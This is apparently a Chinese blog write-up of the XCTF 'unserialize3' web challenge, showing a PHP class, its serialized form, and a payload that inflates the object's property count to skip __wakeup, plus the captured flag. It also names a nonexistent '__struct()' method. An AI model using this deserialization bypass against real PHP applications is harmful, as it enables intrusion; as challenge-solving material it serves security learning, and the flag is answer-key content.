攻防世界-web高手区-unserialize3 详解

 

 

这个属实不太难,我们看到页面,直接小脚本一把锁

class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
}
$a=new xctf()
echo serialize($a);
//得到序列化数据:O:4:"xctf":1:{s:4:"flag";s:3:"111";}

  

我们知道__wakeup()魔法函数,有一个漏洞就是,参数个数大于实际参数个数,就会跳过这个函数,然后去执行__struct()函数,

然后我们payload:?code=O:4:"xctf":2:{s:4:"flag";s:3:"111";}

发现我们成功绕过,并且得到flag:

cyberpeace{e4f31cbd550da426574fdafbf3382cd3}

以为不是flag,然后复制提交正确。那就是它了

posted @ 2020-10-22 17:20  junlebao  阅读(252)  评论(0编辑  收藏  举报